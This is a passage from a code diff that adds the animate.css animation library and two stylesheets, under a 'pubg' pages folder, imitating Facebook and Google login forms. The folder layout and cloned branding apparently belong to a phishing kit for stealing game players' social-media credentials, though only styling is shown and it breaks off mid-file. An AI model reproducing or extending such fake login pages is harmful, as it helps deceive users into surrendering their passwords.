+    transform-origin: center bottom;
+  }
+
+  50% {
+    -webkit-transform: rotate(-10deg);
+    transform: rotate(-10deg);
+  }
+
+  70% {
+    -webkit-transform: rotate(3deg);
+    transform: rotate(3deg);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: scale(1);
+    transform: scale(1);
+  }
+}
+
+.jackInTheBox {
+  -webkit-animation-name: jackInTheBox;
+  animation-name: jackInTheBox;
+}
+
+/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */
+
+@-webkit-keyframes rollIn {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);
+    transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes rollIn {
+  from {
+    opacity: 0;
+    -webkit-transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);
+    transform: translate3d(-100%, 0, 0) rotate3d(0, 0, 1, -120deg);
+  }
+
+  to {
+    opacity: 1;
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.rollIn {
+  -webkit-animation-name: rollIn;
+  animation-name: rollIn;
+}
+
+/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */
+
+@-webkit-keyframes rollOut {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);
+    transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);
+  }
+}
+
+@keyframes rollOut {
+  from {
+    opacity: 1;
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);
+    transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);
+  }
+}
+
+.rollOut {
+  -webkit-animation-name: rollOut;
+  animation-name: rollOut;
+}
+
+@-webkit-keyframes zoomIn {
+  from {
+    opacity: 0;
+    -webkit-transform: scale3d(0.3, 0.3, 0.3);
+    transform: scale3d(0.3, 0.3, 0.3);
+  }
+
+  50% {
+    opacity: 1;
+  }
+}
+
+@keyframes zoomIn {
+  from {
+    opacity: 0;
+    -webkit-transform: scale3d(0.3, 0.3, 0.3);
+    transform: scale3d(0.3, 0.3, 0.3);
+  }
+
+  50% {
+    opacity: 1;
+  }
+}
+
+.zoomIn {
+  -webkit-animation-name: zoomIn;
+  animation-name: zoomIn;
+}
+
+@-webkit-keyframes zoomInDown {
+  from {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -1000px, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -1000px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+@keyframes zoomInDown {
+  from {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -1000px, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -1000px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+.zoomInDown {
+  -webkit-animation-name: zoomInDown;
+  animation-name: zoomInDown;
+}
+
+@-webkit-keyframes zoomInLeft {
+  from {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(-1000px, 0, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(-1000px, 0, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(10px, 0, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(10px, 0, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+@keyframes zoomInLeft {
+  from {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(-1000px, 0, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(-1000px, 0, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(10px, 0, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(10px, 0, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+.zoomInLeft {
+  -webkit-animation-name: zoomInLeft;
+  animation-name: zoomInLeft;
+}
+
+@-webkit-keyframes zoomInRight {
+  from {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+@keyframes zoomInRight {
+  from {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(1000px, 0, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(-10px, 0, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+.zoomInRight {
+  -webkit-animation-name: zoomInRight;
+  animation-name: zoomInRight;
+}
+
+@-webkit-keyframes zoomInUp {
+  from {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 1000px, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 1000px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+@keyframes zoomInUp {
+  from {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 1000px, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 1000px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  60% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+.zoomInUp {
+  -webkit-animation-name: zoomInUp;
+  animation-name: zoomInUp;
+}
+
+@-webkit-keyframes zoomOut {
+  from {
+    opacity: 1;
+  }
+
+  50% {
+    opacity: 0;
+    -webkit-transform: scale3d(0.3, 0.3, 0.3);
+    transform: scale3d(0.3, 0.3, 0.3);
+  }
+
+  to {
+    opacity: 0;
+  }
+}
+
+@keyframes zoomOut {
+  from {
+    opacity: 1;
+  }
+
+  50% {
+    opacity: 0;
+    -webkit-transform: scale3d(0.3, 0.3, 0.3);
+    transform: scale3d(0.3, 0.3, 0.3);
+  }
+
+  to {
+    opacity: 0;
+  }
+}
+
+.zoomOut {
+  -webkit-animation-name: zoomOut;
+  animation-name: zoomOut;
+}
+
+@-webkit-keyframes zoomOutDown {
+  40% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 2000px, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 2000px, 0);
+    -webkit-transform-origin: center bottom;
+    transform-origin: center bottom;
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+@keyframes zoomOutDown {
+  40% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, -60px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 2000px, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, 2000px, 0);
+    -webkit-transform-origin: center bottom;
+    transform-origin: center bottom;
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+.zoomOutDown {
+  -webkit-animation-name: zoomOutDown;
+  animation-name: zoomOutDown;
+}
+
+@-webkit-keyframes zoomOutLeft {
+  40% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(42px, 0, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(42px, 0, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: scale(0.1) translate3d(-2000px, 0, 0);
+    transform: scale(0.1) translate3d(-2000px, 0, 0);
+    -webkit-transform-origin: left center;
+    transform-origin: left center;
+  }
+}
+
+@keyframes zoomOutLeft {
+  40% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(42px, 0, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(42px, 0, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: scale(0.1) translate3d(-2000px, 0, 0);
+    transform: scale(0.1) translate3d(-2000px, 0, 0);
+    -webkit-transform-origin: left center;
+    transform-origin: left center;
+  }
+}
+
+.zoomOutLeft {
+  -webkit-animation-name: zoomOutLeft;
+  animation-name: zoomOutLeft;
+}
+
+@-webkit-keyframes zoomOutRight {
+  40% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(-42px, 0, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(-42px, 0, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: scale(0.1) translate3d(2000px, 0, 0);
+    transform: scale(0.1) translate3d(2000px, 0, 0);
+    -webkit-transform-origin: right center;
+    transform-origin: right center;
+  }
+}
+
+@keyframes zoomOutRight {
+  40% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(-42px, 0, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(-42px, 0, 0);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: scale(0.1) translate3d(2000px, 0, 0);
+    transform: scale(0.1) translate3d(2000px, 0, 0);
+    -webkit-transform-origin: right center;
+    transform-origin: right center;
+  }
+}
+
+.zoomOutRight {
+  -webkit-animation-name: zoomOutRight;
+  animation-name: zoomOutRight;
+}
+
+@-webkit-keyframes zoomOutUp {
+  40% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -2000px, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -2000px, 0);
+    -webkit-transform-origin: center bottom;
+    transform-origin: center bottom;
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+@keyframes zoomOutUp {
+  40% {
+    opacity: 1;
+    -webkit-transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
+    transform: scale3d(0.475, 0.475, 0.475) translate3d(0, 60px, 0);
+    -webkit-animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+    animation-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);
+  }
+
+  to {
+    opacity: 0;
+    -webkit-transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -2000px, 0);
+    transform: scale3d(0.1, 0.1, 0.1) translate3d(0, -2000px, 0);
+    -webkit-transform-origin: center bottom;
+    transform-origin: center bottom;
+    -webkit-animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1);
+  }
+}
+
+.zoomOutUp {
+  -webkit-animation-name: zoomOutUp;
+  animation-name: zoomOutUp;
+}
+
+@-webkit-keyframes slideInDown {
+  from {
+    -webkit-transform: translate3d(0, -100%, 0);
+    transform: translate3d(0, -100%, 0);
+    visibility: visible;
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes slideInDown {
+  from {
+    -webkit-transform: translate3d(0, -100%, 0);
+    transform: translate3d(0, -100%, 0);
+    visibility: visible;
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.slideInDown {
+  -webkit-animation-name: slideInDown;
+  animation-name: slideInDown;
+}
+
+@-webkit-keyframes slideInLeft {
+  from {
+    -webkit-transform: translate3d(-100%, 0, 0);
+    transform: translate3d(-100%, 0, 0);
+    visibility: visible;
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes slideInLeft {
+  from {
+    -webkit-transform: translate3d(-100%, 0, 0);
+    transform: translate3d(-100%, 0, 0);
+    visibility: visible;
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.slideInLeft {
+  -webkit-animation-name: slideInLeft;
+  animation-name: slideInLeft;
+}
+
+@-webkit-keyframes slideInRight {
+  from {
+    -webkit-transform: translate3d(100%, 0, 0);
+    transform: translate3d(100%, 0, 0);
+    visibility: visible;
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes slideInRight {
+  from {
+    -webkit-transform: translate3d(100%, 0, 0);
+    transform: translate3d(100%, 0, 0);
+    visibility: visible;
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.slideInRight {
+  -webkit-animation-name: slideInRight;
+  animation-name: slideInRight;
+}
+
+@-webkit-keyframes slideInUp {
+  from {
+    -webkit-transform: translate3d(0, 100%, 0);
+    transform: translate3d(0, 100%, 0);
+    visibility: visible;
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+@keyframes slideInUp {
+  from {
+    -webkit-transform: translate3d(0, 100%, 0);
+    transform: translate3d(0, 100%, 0);
+    visibility: visible;
+  }
+
+  to {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.slideInUp {
+  -webkit-animation-name: slideInUp;
+  animation-name: slideInUp;
+}
+
+@-webkit-keyframes slideOutDown {
+  from {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  to {
+    visibility: hidden;
+    -webkit-transform: translate3d(0, 100%, 0);
+    transform: translate3d(0, 100%, 0);
+  }
+}
+
+@keyframes slideOutDown {
+  from {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  to {
+    visibility: hidden;
+    -webkit-transform: translate3d(0, 100%, 0);
+    transform: translate3d(0, 100%, 0);
+  }
+}
+
+.slideOutDown {
+  -webkit-animation-name: slideOutDown;
+  animation-name: slideOutDown;
+}
+
+@-webkit-keyframes slideOutLeft {
+  from {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  to {
+    visibility: hidden;
+    -webkit-transform: translate3d(-100%, 0, 0);
+    transform: translate3d(-100%, 0, 0);
+  }
+}
+
+@keyframes slideOutLeft {
+  from {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  to {
+    visibility: hidden;
+    -webkit-transform: translate3d(-100%, 0, 0);
+    transform: translate3d(-100%, 0, 0);
+  }
+}
+
+.slideOutLeft {
+  -webkit-animation-name: slideOutLeft;
+  animation-name: slideOutLeft;
+}
+
+@-webkit-keyframes slideOutRight {
+  from {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  to {
+    visibility: hidden;
+    -webkit-transform: translate3d(100%, 0, 0);
+    transform: translate3d(100%, 0, 0);
+  }
+}
+
+@keyframes slideOutRight {
+  from {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  to {
+    visibility: hidden;
+    -webkit-transform: translate3d(100%, 0, 0);
+    transform: translate3d(100%, 0, 0);
+  }
+}
+
+.slideOutRight {
+  -webkit-animation-name: slideOutRight;
+  animation-name: slideOutRight;
+}
+
+@-webkit-keyframes slideOutUp {
+  from {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  to {
+    visibility: hidden;
+    -webkit-transform: translate3d(0, -100%, 0);
+    transform: translate3d(0, -100%, 0);
+  }
+}
+
+@keyframes slideOutUp {
+  from {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+
+  to {
+    visibility: hidden;
+    -webkit-transform: translate3d(0, -100%, 0);
+    transform: translate3d(0, -100%, 0);
+  }
+}
+
+.slideOutUp {
+  -webkit-animation-name: slideOutUp;
+  animation-name: slideOutUp;
+}
+
+.animated {
+  -webkit-animation-duration: 1s;
+  animation-duration: 1s;
+  -webkit-animation-fill-mode: both;
+  animation-fill-mode: both;
+}
+
+.animated.infinite {
+  -webkit-animation-iteration-count: infinite;
+  animation-iteration-count: infinite;
+}
+
+.animated.delay-1s {
+  -webkit-animation-delay: 1s;
+  animation-delay: 1s;
+}
+
+.animated.delay-2s {
+  -webkit-animation-delay: 2s;
+  animation-delay: 2s;
+}
+
+.animated.delay-3s {
+  -webkit-animation-delay: 3s;
+  animation-delay: 3s;
+}
+
+.animated.delay-4s {
+  -webkit-animation-delay: 4s;
+  animation-delay: 4s;
+}
+
+.animated.delay-5s {
+  -webkit-animation-delay: 5s;
+  animation-delay: 5s;
+}
+
+.animated.fast {
+  -webkit-animation-duration: 800ms;
+  animation-duration: 800ms;
+}
+
+.animated.faster {
+  -webkit-animation-duration: 500ms;
+  animation-duration: 500ms;
+}
+
+.animated.slow {
+  -webkit-animation-duration: 2s;
+  animation-duration: 2s;
+}
+
+.animated.slower {
+  -webkit-animation-duration: 3s;
+  animation-duration: 3s;
+}
+
+@media (print), (prefers-reduced-motion: reduce) {
+  .animated {
+    -webkit-animation-duration: 1ms !important;
+    animation-duration: 1ms !important;
+    -webkit-transition-duration: 1ms !important;
+    transition-duration: 1ms !important;
+    -webkit-animation-iteration-count: 1 !important;
+    animation-iteration-count: 1 !important;
+  }
+}

.pages/pubg/css/login/facebook.css

@@ -0,0 +1,161 @@
+.navbar-fb {
+	background: #3b5998;
+	width: 100%;
+	height: auto;
+	padding: 8px;
+	border-top-left-radius: 10px;
+	border-top-right-radius: 10px;
+}
+.navbar-fb img {
+    width: 115;
+    margin-left: auto;
+    margin-right: auto;
+    display: block;
+}
+.content-box-fb {
+    width: 300px;
+    height: auto;
+    margin-left: auto;
+    margin-right: auto;
+    display: block;
+}
+.content-box-fb img {
+    width: 60;
+    margin-top: 20px;
+    margin-left: auto;
+    margin-right: auto;
+    border-radius: 12px;
+    display: block;
+}
+.txt-login-fb {
+    width: 270px;
+    height: auto;
+    margin-top: 10px;
+    margin-left: auto;
+    margin-right: auto;
+    margin-bottom: 17px;
+    padding: 8px;
+    color: #90949c;
+    font-size: 16px;
+    font-family: 'Lato',sans-serif;
+    text-align: center;
+    display: block;
+}
+.input-fb-email {
+	width: 100%;
+	height: auto;
+	padding: 12px;
+	color: #000;
+	font-size: 14px;
+	font-weight: 400;
+	font-family: 'Lato',sans-serif;
+	border: 1px solid #bdbebf;
+	border-bottom: 0px;
+	border-top-left-radius: 5px;
+	border-top-right-radius: 5px;
+	cursor: pointer;
+	outline: none;
+}
+.input-fb-password {
+	width: 100%;
+	height: auto;
+	padding: 12px;
+	color: #000;
+	font-size: 14px;
+	font-weight: 400;
+	font-family: 'Lato',sans-serif;
+	border: 1px solid #bdbebf;
+	border-bottom-left-radius: 5px;
+	border-bottom-right-radius: 5px;
+	cursor: pointer;
+	outline: none;
+}
+.btn-login-fb {
+	background: #1778f2;
+	width: 100%;
+	height: auto;
+	margin-top: 10px;
+	margin-left: auto;
+	margin-right: auto;
+	padding: 10px;
+	color: #fff;
+	font-size: 14px;
+	font-family: 'Lato',sans-serif;
+	font-weight: bold;
+	text-align: center;
+	text-shadow: 1px 0px rgba(0, 0, 0, 0.3);
+	border: 1px solid #3578e5;
+	border-radius: 5px;
+	box-shadow: 1px 1px 1px 1px rgba(0, 0, 0, 0.1);
+	outline: none;
+	display: block;
+}
+.txt-create-account {
+    width: 100%;
+    height: auto;
+    padding: 5px;
+    color: #3b5998;
+    font-size: 13.5px;
+    font-family: 'Lato',sans-serif;
+    text-align: center;
+}
+.txt-not-now {
+    width: 100%;
+    height: auto;
+    padding: 5px;
+    color: #3b5998;
+    font-size: 13.5px;
+    font-family: 'Lato',sans-serif;
+    text-align: center;
+}
+.txt-forgotten-password {
+    width: 100%;
+    height: auto;
+    margin-bottom: 30px;
+    padding: 5px;
+    color: #7596c8;
+    font-size: 13.5px;
+    font-family: 'Lato',sans-serif;
+    text-align: center;
+}
+.language-box {
+    width: 100%;
+    height: auto;
+    margin-left: auto;
+    margin-right: auto;
+    display: block;
+}
+.language-name {
+    width: 40%;
+    height: auto;
+    margin: 5px;
+    margin-bottom: 0px;
+    color: #3b5998;
+    font-size: 12px;
+    font-family: 'Lato',sans-serif;
+    text-align: center;
+    display: inline-block;
+}
+.language-name i {
+    width: 23px;
+    padding: 4px;
+    color: #90949c;
+    border: 1px solid #3b5998;
+    border-radius: 3px;
+}
+.language-name-active {
+    color: #90949c;
+    font-weight: bold;
+}
+.copyright {
+    width: 40%;
+    height: auto;
+    margin-top: 10px;
+    margin-left: auto;
+    margin-right: auto;
+    color: #90949c;
+    font-size: 12px;
+    font-family: 'Lato',sans-serif;
+    text-align: center;
+    display: block;
+}

.pages/pubg/css/login/google.css

@@ -0,0 +1,211 @@
+@font-face {
+	font-family:'google';
+	src:url('../../fonts/google.ttf')
+}
+.header-google {
+    background: #fff;
+    width: 100%;
+    position: relative;
+    margin-bottom: 10px;
+    border-radius: 10px;
+}
+.header-google img {
+    width: 78;
+}
+.txt-login-google {
+    color: #000;
+    font-size: 24px;
+    font-family:'google',arial,sans-serif;
+    text-align: center;
+}
+.txt-login-google-desc {
+    font-size: 15px;
+    font-family: Arial, sans-serif;
+    text-align: center;
+    padding-top: 13px;
+}
+.txt-login-google-password {
+	margin-bottom: 7px;
+    color: #000;
+    font-size: 24px;
+    font-family:'google',arial,sans-serif;
+    text-align: center;
+}
+span.user {
+	width: auto;
+	height: auto;
+	padding-top: 1px;
+	padding-left: 5px;
+	padding-right: 5px;
+	padding-bottom: 4px;
+	color: #000;
+	font-size: 15px;
+	font-family: 'google';
+	text-align: center;
+	border: 1px solid #000;
+	border-radius: 50px;
+}
+span.user i {
+	color: #000;
+}
+.google-input-email {
+	width: 100%;
+	height: 50px;
+	margin-top: 10%;
+	position:relative;
+}
+.google-input-email input {
+	width: 100%;
+	height: 55px;
+	padding: 15px;
+	padding-top: 0;
+	padding-bottom: 0;
+	color: #000;
+	font-size: 15px;
+	font-family: Arial, sans-serif;
+	border: 1px solid #dadce0;
+	border-radius: 4px;
+}
+.google-input-email label {
+    position: absolute;
+    padding: 13px;
+	color:#888;
+	font-size: 16px;
+	font-family: Arial, sans-serif;
+	text-align: left;
+	transform:translateY(4px);
+	transition:all 0.2s ease-in-out;
+	left: 0;
+}
+.google-input-email input:valid,.google-input-email input:focus {
+	border: 2px solid #1a73e8;
+	outline: none;
+}
+.google-input-email input:valid+label,.google-input-email input:focus+label {
+    background: #fff;
+	color: #1a73e8;
+	font-size: 20px;
+	margin-left: 4px;
+	padding: 10px;
+	transform:scale(.60) translateY(-38px) translateX(-40px);
+	border-radius: 5px;
+}
+.google-input-password {
+	width: 100%;
+	height: 50px;
+	margin-top: 10%;
+	position:relative;
+}
+.google-input-password input {
+	width: 100%;
+	height: 55px;
+	padding: 15px;
+	padding-top: 0;
+	padding-bottom: 0;
+	color: #000;
+	font-size: 15px;
+	font-family: Arial, sans-serif;
+	border: 1px solid #dadce0;
+	border-radius: 4px;
+}
+.google-input-password label {
+    position: absolute;
+    padding: 13px;
+	color:#888;
+	font-size: 16px;
+	font-family: Arial, sans-serif;
+	text-align: left;
+	transform:translateY(4px);
+	transition:all 0.2s ease-in-out;
+	left: 0;
+}
+.google-input-password i {
+    background: none;
+    width: 10%;
+    height: auto;
+    padding: 5px;
+    color: gray;
+    font-size: 25px;
+    border: none;
+    position: absolute;
+	margin-left: 88%;
+	margin-top: 3%;
+}
+.google-input-password input:valid,.google-input-password input:focus {
+	border: 2px solid #1a73e8;
+	outline: none;
+}
+.google-input-password input:valid+label,.google-input-password input:focus+label {
+    background: #fff;
+	color: #1a73e8;
+	font-size: 19px;
+	margin-left: 4px;
+	padding: 10px;
+	transform:scale(.67) translateY(-30px) translateX(-40px);
+	border-radius: 5px;
+}
+.btn-forgot-google {
+    background: #fff;
+    width: auto;
+    height: auto;
+    margin: 0px;
+    padding: 10px;
+    padding-left: 0;
+    color: #1a73e8;
+    font-size: 14.5px;
+    font-family:'google',arial,sans-serif;
+    letter-spacing:.25px;
+    text-align: left;
+    border: none;
+    outline: none;
+    float: left;
+}
+.notify-google {
+    width: 100%;
+    height: auto;
+    color: gray;
+    font-size: 14px;
+    font-family: arial,sans-serif;
+    text-align: left;
+    margin-top: 10%;
+    margin-bottom: 5%;
+}
+.notify-google span {
+    color: #1a73e8;
+    font-weight: inherit;
+}
+.btn-login-google {
+    background: #1a73e8;
+    width: 30%;
+    height: auto;
+    margin: 0px;
+    padding: 10px;
+    color: #fff;
+    font-size: 14px;
+    font-family:'google',arial,sans-serif;
+    letter-spacing:.25px;
+    text-align: center;
+    border: none;
+    border-radius: 5px;
+    outline: none;
+    float: right;
+}
+@media only screen and (max-width:600px) {
+     .google-container {
+        width: 100%;
+        height: 100%;
+        margin-top: 0px;
+        margin-bottom: 0px;
+        border: none;
+    }
+    .header-google {
+        border-top-left-radius: 0px;
